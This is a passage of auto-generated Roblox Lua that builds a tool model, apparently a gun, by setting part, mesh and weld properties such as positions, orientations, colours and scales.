- CylinderMesh226.Parent = Part225
- CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
- CylinderMesh226.Scale = Vector3.new(0.166666672, 0.166666642, 0.5)
- ManualWeld227.Name = "Part-to-Handle Strong Joint"
- ManualWeld227.Parent = Part225
- ManualWeld227.C0 = CFrame.new(-0.100000001, 0.100000001, 0.100000001, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld227.C1 = CFrame.new(0.00999450684, 0.114465714, -0.122695923, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
- ManualWeld227.Part0 = Part225
- ManualWeld227.Part1 = Part30
- Part228.Parent = Tool0
- Part228.Material = Enum.Material.Metal
- Part228.BrickColor = BrickColor.new("Dark stone grey")
- Part228.Rotation = Vector3.new(90, 0, 90)
- Part228.Anchored = true
- Part228.FormFactor = Enum.FormFactor.Custom
- Part228.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part228.CFrame = CFrame.new(143.78627, 3.99990606, 144.294266, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part228.BottomSurface = Enum.SurfaceType.Smooth
- Part228.TopSurface = Enum.SurfaceType.Smooth
- Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part228.Position = Vector3.new(143.78627, 3.99990606, 144.294266)
- Part228.Orientation = Vector3.new(90, -90, 0)
- Part228.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh229.Parent = Part228
- SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
- SpecialMesh229.MeshType = Enum.MeshType.Wedge
- SpecialMesh229.Scale = Vector3.new(0.166666299, 0.5333336, 0.100000083)
- Part230.Parent = Tool0
- Part230.Material = Enum.Material.Metal
- Part230.BrickColor = BrickColor.new("Black")
- Part230.Rotation = Vector3.new(45.0099983, 0, -90)
- Part230.Anchored = true
- Part230.FormFactor = Enum.FormFactor.Custom
- Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part230.CFrame = CFrame.new(143.619598, 3.75471711, 144.312149, -1.90205043e-07, 1.00000215, -1.34168204e-07, -0.707042336, -2.29362854e-07, -0.707175553, -0.707176507, -3.96458191e-08, 0.707042336)
- Part230.BottomSurface = Enum.SurfaceType.Smooth
- Part230.TopSurface = Enum.SurfaceType.Smooth
- Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part230.Position = Vector3.new(143.619598, 3.75471711, 144.312149)
- Part230.Orientation = Vector3.new(45.0099983, 0, -90)
- Part230.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh231.Parent = Part230
- BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
- BlockMesh231.Scale = Vector3.new(0.0666666031, 0.466666937, 0.166666716)
- Part232.Parent = Tool0
- Part232.Material = Enum.Material.Metal
- Part232.BrickColor = BrickColor.new("Black")
- Part232.Rotation = Vector3.new(90, -90, 0)
- Part232.Anchored = true
- Part232.FormFactor = Enum.FormFactor.Custom
- Part232.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part232.CFrame = CFrame.new(144.562943, 3.84657598, 144.494263, 0, 0, -1, -1, 0, 0, 0, 1, 0)
- Part232.BottomSurface = Enum.SurfaceType.Smooth
- Part232.TopSurface = Enum.SurfaceType.Smooth
- Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part232.Position = Vector3.new(144.562943, 3.84657598, 144.494263)
- Part232.Orientation = Vector3.new(0, -90, -90)
- Part232.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh233.Parent = Part232
- SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
- SpecialMesh233.MeshType = Enum.MeshType.Wedge
- SpecialMesh233.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
- Part234.Parent = Tool0
- Part234.Material = Enum.Material.Metal
- Part234.BrickColor = BrickColor.new("Dark stone grey")
- Part234.Rotation = Vector3.new(-180, 0, 0)
- Part234.Anchored = true
- Part234.FormFactor = Enum.FormFactor.Custom
- Part234.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part234.CFrame = CFrame.new(144.936279, 4.0065732, 144.387604, 1, 0, 0, 0, -1, 0, 0, 0, -1)
- Part234.BottomSurface = Enum.SurfaceType.Smooth
- Part234.TopSurface = Enum.SurfaceType.Smooth
- Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part234.Position = Vector3.new(144.936279, 4.0065732, 144.387604)
- Part234.Orientation = Vector3.new(0, 180, 180)
- Part234.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh235.Parent = Part234
- CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
- CylinderMesh235.Scale = Vector3.new(0.283332527, 0.0333333351, 0.283333391)
- Part236.Parent = Tool0
- Part236.Material = Enum.Material.Metal
- Part236.BrickColor = BrickColor.new("Dark stone grey")
- Part236.Rotation = Vector3.new(-90, 0, 90)
- Part236.Anchored = true
- Part236.FormFactor = Enum.FormFactor.Custom
- Part236.Size = Vector3.new(0.213333338, 0.733333349, 0.200000003)
- Part236.CFrame = CFrame.new(143.486267, 3.88658094, 144.39093, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part236.BottomSurface = Enum.SurfaceType.Smooth
- Part236.TopSurface = Enum.SurfaceType.Smooth
- Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part236.Position = Vector3.new(143.486267, 3.88658094, 144.39093)
- Part236.Orientation = Vector3.new(-90, 90, 0)
- Part236.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh237.Parent = Part236
- BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
- BlockMesh237.Scale = Vector3.new(1, 1, 0.699999988)
- ManualWeld238.Name = "Part-to-AimPart Strong Joint"
- ManualWeld238.Parent = Part236
- ManualWeld238.C0 = CFrame.new(-0.106666669, -0.366666675, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld238.C1 = CFrame.new(0.106674194, -0.113322258, -1.12998962, -1, 0, 0, 0, 0, 1, 0, 1, 0)
- ManualWeld238.Part0 = Part236
- ManualWeld238.Part1 = Part420
- Part239.Parent = Tool0
- Part239.Material = Enum.Material.Metal
- Part239.BrickColor = BrickColor.new("Dark stone grey")
- Part239.Rotation = Vector3.new(-90, 0, 90)
- Part239.Anchored = true
- Part239.FormFactor = Enum.FormFactor.Custom
- Part239.Size = Vector3.new(0.200000003, 0.466666669, 0.200000003)
- Part239.CFrame = CFrame.new(144.072937, 3.99990606, 144.294266, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part239.BottomSurface = Enum.SurfaceType.Smooth
- Part239.TopSurface = Enum.SurfaceType.Smooth
- Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part239.Position = Vector3.new(144.072937, 3.99990606, 144.294266)
- Part239.Orientation = Vector3.new(-90, 90, 0)
- Part239.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh240.Parent = Part239
- BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
- BlockMesh240.Scale = Vector3.new(0.166666687, 1, 0.0999999717)
- Part241.Parent = Tool0
- Part241.Material = Enum.Material.Metal
- Part241.BrickColor = BrickColor.new("Black")
- Part241.Rotation = Vector3.new(-90, -90, 0)
- Part241.Anchored = true
- Part241.FormFactor = Enum.FormFactor.Custom
- Part241.Size = Vector3.new(0.200000003, 0.200000003, 0.379999965)
- Part241.CFrame = CFrame.new(144.829605, 3.86657596, 144.467606, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part241.BottomSurface = Enum.SurfaceType.Smooth
- Part241.TopSurface = Enum.SurfaceType.Smooth
- Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part241.Position = Vector3.new(144.829605, 3.86657596, 144.467606)
- Part241.Orientation = Vector3.new(0, -90, 90)
- Part241.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh242.Parent = Part241
- BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
- BlockMesh242.Scale = Vector3.new(0.566666543, 0.0333333388, 1)
- Part243.Parent = Tool0
- Part243.Material = Enum.Material.Metal
- Part243.BrickColor = BrickColor.new("Dark stone grey")
- Part243.Rotation = Vector3.new(-90, -90, 0)
- Part243.Anchored = true
- Part243.FormFactor = Enum.FormFactor.Custom
- Part243.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part243.CFrame = CFrame.new(143.77626, 3.97323799, 144.290939, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part243.BottomSurface = Enum.SurfaceType.Smooth
- Part243.TopSurface = Enum.SurfaceType.Smooth
- Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part243.Position = Vector3.new(143.77626, 3.97323799, 144.290939)
- Part243.Orientation = Vector3.new(0, -90, 90)
- Part243.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh244.Parent = Part243
- BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
- BlockMesh244.Scale = Vector3.new(0.166666493, 0.0666666701, 0.433333933)
- Part245.Parent = Tool0
- Part245.Material = Enum.Material.Metal
- Part245.BrickColor = BrickColor.new("Dark stone grey")
- Part245.Rotation = Vector3.new(-90, 0, 90)
- Part245.Anchored = true
- Part245.FormFactor = Enum.FormFactor.Custom
- Part245.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part245.CFrame = CFrame.new(144.396271, 3.96657395, 144.500931, 0, -1, 0, 0, 0, 1, -1, 0, 0)
- Part245.BottomSurface = Enum.SurfaceType.Smooth
- Part245.TopSurface = Enum.SurfaceType.Smooth
- Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part245.Position = Vector3.new(144.396271, 3.96657395, 144.500931)
- Part245.Orientation = Vector3.new(-90, 90, 0)
- Part245.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh246.Parent = Part245
- SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
- SpecialMesh246.MeshType = Enum.MeshType.Wedge
- SpecialMesh246.Scale = Vector3.new(0.0333333351, 0.900000274, 0.100000083)
- Part247.Parent = Tool0
- Part247.Material = Enum.Material.Metal
- Part247.BrickColor = BrickColor.new("Black")
- Part247.Rotation = Vector3.new(0, 90, 0)
- Part247.Anchored = true
- Part247.FormFactor = Enum.FormFactor.Custom
- Part247.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part247.CFrame = CFrame.new(144.442932, 3.84324098, 144.500931, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Part247.BottomSurface = Enum.SurfaceType.Smooth
- Part247.TopSurface = Enum.SurfaceType.Smooth
- Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part247.Position = Vector3.new(144.442932, 3.84324098, 144.500931)
- Part247.Orientation = Vector3.new(0, 90, 0)
- Part247.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh248.Parent = Part247
- SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
- SpecialMesh248.MeshType = Enum.MeshType.Wedge
- SpecialMesh248.Scale = Vector3.new(0.0333333351, 0.1333334, 0.0999999866)
- Part249.Parent = Tool0
- Part249.Material = Enum.Material.Metal
- Part249.BrickColor = BrickColor.new("Dark stone grey")
- Part249.Rotation = Vector3.new(90, 0, -90)
- Part249.Anchored = true
- Part249.FormFactor = Enum.FormFactor.Custom
- Part249.Size = Vector3.new(0.200000003, 0.300000012, 0.200000003)
- Part249.CFrame = CFrame.new(143.469604, 3.83325005, 144.500931, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part249.BottomSurface = Enum.SurfaceType.Smooth
- Part249.TopSurface = Enum.SurfaceType.Smooth
- Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part249.Position = Vector3.new(143.469604, 3.83325005, 144.500931)
- Part249.Orientation = Vector3.new(90, 90, 0)
- Part249.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh250.Parent = Part249
- CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh250.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- Part251.Parent = Tool0
- Part251.Material = Enum.Material.Metal
- Part251.BrickColor = BrickColor.new("Dark stone grey")
- Part251.Rotation = Vector3.new(90, 0, -90)
- Part251.Anchored = true
- Part251.FormFactor = Enum.FormFactor.Custom
- Part251.Size = Vector3.new(0.200000003, 0.379999995, 0.200000003)
- Part251.CFrame = CFrame.new(144.829605, 3.97324896, 144.39093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part251.BottomSurface = Enum.SurfaceType.Smooth
- Part251.TopSurface = Enum.SurfaceType.Smooth
- Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part251.Position = Vector3.new(144.829605, 3.97324896, 144.39093)
- Part251.Orientation = Vector3.new(90, 90, 0)
- Part251.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh252.Parent = Part251
- BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
- BlockMesh252.Scale = Vector3.new(0.733332932, 1, 0.166666746)
- Part253.Parent = Tool0
- Part253.Material = Enum.Material.Metal
- Part253.BrickColor = BrickColor.new("Dark stone grey")
- Part253.Rotation = Vector3.new(90, 0, -180)
- Part253.Anchored = true
- Part253.FormFactor = Enum.FormFactor.Custom
- Part253.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part253.CFrame = CFrame.new(143.222946, 4.07990694, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part253.BottomSurface = Enum.SurfaceType.Smooth
- Part253.TopSurface = Enum.SurfaceType.Smooth
- Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part253.Position = Vector3.new(143.222946, 4.07990694, 144.410934)
- Part253.Orientation = Vector3.new(90, 180, 0)
- Part253.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh254.Parent = Part253
- BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- BlockMesh254.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- Part255.Parent = Tool0
- Part255.Material = Enum.Material.Metal
- Part255.BrickColor = BrickColor.new("Dark stone grey")
- Part255.Rotation = Vector3.new(90, 0, -90)
- Part255.Anchored = true
- Part255.FormFactor = Enum.FormFactor.Custom
- Part255.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
- Part255.CFrame = CFrame.new(143.969604, 3.84657598, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part255.BottomSurface = Enum.SurfaceType.Smooth
- Part255.TopSurface = Enum.SurfaceType.Smooth
- Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part255.Position = Vector3.new(143.969604, 3.84657598, 144.28093)
- Part255.Orientation = Vector3.new(90, 90, 0)
- Part255.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh256.Parent = Part255
- CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh256.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- ManualWeld257.Name = "Part-to-Handle Strong Joint"
- ManualWeld257.Parent = Part255
- ManualWeld257.C0 = CFrame.new(-0.100000001, -0.316666663, 0.100000001, 1, 0, 0, 0, 1, 0, 0, 0, 1)
- ManualWeld257.C1 = CFrame.new(-0.00999450684, 0.0810916424, 0.433959961, -1, 0, 0, 0, 6.29127026e-05, -1, 0, -1, -6.29127026e-05)
- ManualWeld257.Part0 = Part255
- ManualWeld257.Part1 = Part30
- Part258.Parent = Tool0
- Part258.Material = Enum.Material.Metal
- Part258.BrickColor = BrickColor.new("Dark stone grey")
- Part258.Rotation = Vector3.new(-180, -90, 0)
- Part258.Anchored = true
- Part258.FormFactor = Enum.FormFactor.Custom
- Part258.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part258.CFrame = CFrame.new(143.829605, 3.89991403, 144.500931, 0, 0, -1, 0, -1, -0, -1, 0, -0)
- Part258.BottomSurface = Enum.SurfaceType.Smooth
- Part258.TopSurface = Enum.SurfaceType.Smooth
- Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part258.Position = Vector3.new(143.829605, 3.89991403, 144.500931)
- Part258.Orientation = Vector3.new(0, -90, 180)
- Part258.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh259.Parent = Part258
- SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
- SpecialMesh259.MeshType = Enum.MeshType.Sphere
- SpecialMesh259.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
- Part260.Parent = Tool0
- Part260.Material = Enum.Material.Metal
- Part260.BrickColor = BrickColor.new("Dark stone grey")
- Part260.Rotation = Vector3.new(90, 0, -180)
- Part260.Anchored = true
- Part260.FormFactor = Enum.FormFactor.Custom
- Part260.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part260.CFrame = CFrame.new(143.222946, 4.05991077, 144.410934, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part260.BottomSurface = Enum.SurfaceType.Smooth
- Part260.TopSurface = Enum.SurfaceType.Smooth
- Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part260.Position = Vector3.new(143.222946, 4.05991077, 144.410934)
- Part260.Orientation = Vector3.new(90, 180, 0)
- Part260.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh261.Parent = Part260
- BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- BlockMesh261.Scale = Vector3.new(0.0233333316, 0.13333334, 0.0333333351)
- Part262.Parent = Tool0
- Part262.Material = Enum.Material.Metal
- Part262.BrickColor = BrickColor.new("Dark stone grey")
- Part262.Rotation = Vector3.new(-90, 0, -90)
- Part262.Anchored = true
- Part262.FormFactor = Enum.FormFactor.Custom
- Part262.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part262.CFrame = CFrame.new(143.78627, 3.966573, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- Part262.BottomSurface = Enum.SurfaceType.Smooth
- Part262.TopSurface = Enum.SurfaceType.Smooth
- Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part262.Position = Vector3.new(143.78627, 3.966573, 144.500931)
- Part262.Orientation = Vector3.new(-90, -90, 0)
- Part262.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh263.Parent = Part262
- SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
- SpecialMesh263.MeshType = Enum.MeshType.Wedge
- SpecialMesh263.Scale = Vector3.new(0.0333333351, 0.533334076, 0.100000083)
- Part264.Parent = Tool0
- Part264.Material = Enum.Material.Metal
- Part264.BrickColor = BrickColor.new("Dark stone grey")
- Part264.Rotation = Vector3.new(90, 0, -180)
- Part264.Anchored = true
- Part264.FormFactor = Enum.FormFactor.Custom
- Part264.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part264.CFrame = CFrame.new(143.222946, 4.0665741, 144.374268, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part264.BottomSurface = Enum.SurfaceType.Smooth
- Part264.TopSurface = Enum.SurfaceType.Smooth
- Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part264.Position = Vector3.new(143.222946, 4.0665741, 144.374268)
- Part264.Orientation = Vector3.new(90, 180, 0)
- Part264.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh265.Parent = Part264
- BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
- BlockMesh265.Scale = Vector3.new(0.0233333316, 0.100000009, 0.0333333351)
- Part266.Parent = Tool0
- Part266.Material = Enum.Material.Metal
- Part266.BrickColor = BrickColor.new("Dark stone grey")
- Part266.Rotation = Vector3.new(-90, 0, -90)
- Part266.Anchored = true
- Part266.FormFactor = Enum.FormFactor.Custom
- Part266.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part266.CFrame = CFrame.new(143.78627, 3.98323798, 144.500931, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- Part266.BottomSurface = Enum.SurfaceType.Smooth
- Part266.TopSurface = Enum.SurfaceType.Smooth
- Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part266.Position = Vector3.new(143.78627, 3.98323798, 144.500931)
- Part266.Orientation = Vector3.new(-90, -90, 0)
- Part266.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh267.Parent = Part266
- BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
- BlockMesh267.Scale = Vector3.new(0.0333333388, 0.533334076, 0.0666667521)
- Part268.Parent = Tool0
- Part268.Material = Enum.Material.Metal
- Part268.BrickColor = BrickColor.new("Dark stone grey")
- Part268.Rotation = Vector3.new(90, 0, -90)
- Part268.Anchored = true
- Part268.FormFactor = Enum.FormFactor.Custom
- Part268.Size = Vector3.new(0.200000003, 0.633333325, 0.200000003)
- Part268.CFrame = CFrame.new(143.969604, 3.89991212, 144.28093, 0, 1, 0, 0, 0, -1, -1, 0, 0)
- Part268.BottomSurface = Enum.SurfaceType.Smooth
- Part268.TopSurface = Enum.SurfaceType.Smooth
- Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part268.Position = Vector3.new(143.969604, 3.89991212, 144.28093)
- Part268.Orientation = Vector3.new(90, 90, 0)
- Part268.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh269.Parent = Part268
- CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh269.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- Part270.Parent = Tool0
- Part270.Material = Enum.Material.Metal
- Part270.BrickColor = BrickColor.new("Dark stone grey")
- Part270.Rotation = Vector3.new(90, 0, -180)
- Part270.Anchored = true
- Part270.FormFactor = Enum.FormFactor.Custom
- Part270.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part270.CFrame = CFrame.new(144.866272, 4.00324583, 144.444275, -1, 0, -0, 0, 0, -1, 0, -1, -0)
- Part270.BottomSurface = Enum.SurfaceType.Smooth
- Part270.TopSurface = Enum.SurfaceType.Smooth
- Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part270.Position = Vector3.new(144.866272, 4.00324583, 144.444275)
- Part270.Orientation = Vector3.new(90, 180, 0)
- Part270.Color = Color3.new(0.388235, 0.372549, 0.384314)
- BlockMesh271.Parent = Part270
- BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
- BlockMesh271.Scale = Vector3.new(0.0666666701, 0.0666662827, 0.13333334)
- Part272.Parent = Tool0
- Part272.Material = Enum.Material.Metal
- Part272.BrickColor = BrickColor.new("Dark stone grey")
- Part272.Rotation = Vector3.new(-90, -90, 0)
- Part272.Anchored = true
- Part272.FormFactor = Enum.FormFactor.Custom
- Part272.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part272.CFrame = CFrame.new(144.562943, 3.973243, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part272.BottomSurface = Enum.SurfaceType.Smooth
- Part272.TopSurface = Enum.SurfaceType.Smooth
- Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part272.Position = Vector3.new(144.562943, 3.973243, 144.287598)
- Part272.Orientation = Vector3.new(0, -90, 90)
- Part272.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh273.Parent = Part272
- SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
- SpecialMesh273.MeshType = Enum.MeshType.Wedge
- SpecialMesh273.Scale = Vector3.new(0.166666433, 0.100000009, 0.766666651)
- Part274.Parent = Tool0
- Part274.Material = Enum.Material.Metal
- Part274.BrickColor = BrickColor.new("Dark stone grey")
- Part274.Rotation = Vector3.new(-90, 0, -90)
- Part274.Anchored = true
- Part274.FormFactor = Enum.FormFactor.Custom
- Part274.Size = Vector3.new(0.200000003, 0.286666751, 0.200000003)
- Part274.CFrame = CFrame.new(143.5896, 3.93991399, 144.28093, 0, 1, 0, 0, 0, 1, 1, 0, 0)
- Part274.BottomSurface = Enum.SurfaceType.Smooth
- Part274.TopSurface = Enum.SurfaceType.Smooth
- Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part274.Position = Vector3.new(143.5896, 3.93991399, 144.28093)
- Part274.Orientation = Vector3.new(-90, -90, 0)
- Part274.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh275.Parent = Part274
- SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
- SpecialMesh275.MeshType = Enum.MeshType.Wedge
- SpecialMesh275.Scale = Vector3.new(0.0333333351, 1, 0.166666746)
- Part276.Parent = Tool0
- Part276.Material = Enum.Material.Metal
- Part276.BrickColor = BrickColor.new("Dark stone grey")
- Part276.Rotation = Vector3.new(180, 90, 0)
- Part276.Anchored = true
- Part276.FormFactor = Enum.FormFactor.Custom
- Part276.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part276.CFrame = CFrame.new(144.109604, 3.89991403, 144.500931, 0, 0, 1, 0, -1, 0, 1, 0, -0)
- Part276.BottomSurface = Enum.SurfaceType.Smooth
- Part276.TopSurface = Enum.SurfaceType.Smooth
- Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part276.Position = Vector3.new(144.109604, 3.89991403, 144.500931)
- Part276.Orientation = Vector3.new(0, 90, 180)
- Part276.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh277.Parent = Part276
- SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
- SpecialMesh277.MeshType = Enum.MeshType.Sphere
- SpecialMesh277.Scale = Vector3.new(0.200000018, 0.200000018, 0.200000018)
- Part278.Parent = Tool0
- Part278.Material = Enum.Material.Metal
- Part278.BrickColor = BrickColor.new("Dark stone grey")
- Part278.Rotation = Vector3.new(90, 0, 90)
- Part278.Anchored = true
- Part278.FormFactor = Enum.FormFactor.Custom
- Part278.Size = Vector3.new(0.200000003, 0.206666633, 0.200000003)
- Part278.CFrame = CFrame.new(144.222931, 3.89991212, 144.500931, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part278.BottomSurface = Enum.SurfaceType.Smooth
- Part278.TopSurface = Enum.SurfaceType.Smooth
- Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part278.Position = Vector3.new(144.222931, 3.89991212, 144.500931)
- Part278.Orientation = Vector3.new(90, -90, 0)
- Part278.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh279.Parent = Part278
- CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- CylinderMesh279.Scale = Vector3.new(0.166666672, 1, 0.833333373)
- Part280.Parent = Tool0
- Part280.Material = Enum.Material.Metal
- Part280.BrickColor = BrickColor.new("Black")
- Part280.Rotation = Vector3.new(-90, -90, 0)
- Part280.Anchored = true
- Part280.FormFactor = Enum.FormFactor.Custom
- Part280.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part280.CFrame = CFrame.new(144.562943, 3.84658098, 144.287598, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part280.BottomSurface = Enum.SurfaceType.Smooth
- Part280.TopSurface = Enum.SurfaceType.Smooth
- Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part280.Position = Vector3.new(144.562943, 3.84658098, 144.287598)
- Part280.Orientation = Vector3.new(0, -90, 90)
- Part280.Color = Color3.new(0.105882, 0.164706, 0.207843)
- SpecialMesh281.Parent = Part280
- SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
- SpecialMesh281.MeshType = Enum.MeshType.Wedge
- SpecialMesh281.Scale = Vector3.new(0.766666591, 0.100000009, 0.766666651)
- Part282.Parent = Tool0
- Part282.Material = Enum.Material.Metal
- Part282.BrickColor = BrickColor.new("Dark stone grey")
- Part282.Rotation = Vector3.new(90, 0, 90)
- Part282.Anchored = true
- Part282.FormFactor = Enum.FormFactor.Custom
- Part282.Size = Vector3.new(0.226666585, 0.286666691, 0.200000003)
- Part282.CFrame = CFrame.new(143.5896, 3.97324896, 144.39093, 0, -1, 0, 0, 0, -1, 1, 0, 0)
- Part282.BottomSurface = Enum.SurfaceType.Smooth
- Part282.TopSurface = Enum.SurfaceType.Smooth
- Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part282.Position = Vector3.new(143.5896, 3.97324896, 144.39093)
- Part282.Orientation = Vector3.new(90, -90, 0)
- Part282.Color = Color3.new(0.388235, 0.372549, 0.384314)
- SpecialMesh283.Parent = Part282
- SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
- SpecialMesh283.MeshType = Enum.MeshType.Wedge
- SpecialMesh283.Scale = Vector3.new(1, 1, 0.166666746)
- Part284.Parent = Tool0
- Part284.Material = Enum.Material.Metal
- Part284.BrickColor = BrickColor.new("Black")
- Part284.Rotation = Vector3.new(-90, -90, 0)
- Part284.Anchored = true
- Part284.FormFactor = Enum.FormFactor.Custom
- Part284.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part284.CFrame = CFrame.new(144.562943, 3.86657596, 144.474274, 0, 0, -1, 1, 0, 0, 0, -1, 0)
- Part284.BottomSurface = Enum.SurfaceType.Smooth
- Part284.TopSurface = Enum.SurfaceType.Smooth
- Part284.Color = Color3.new(0.105882, 0.164706, 0.207843)
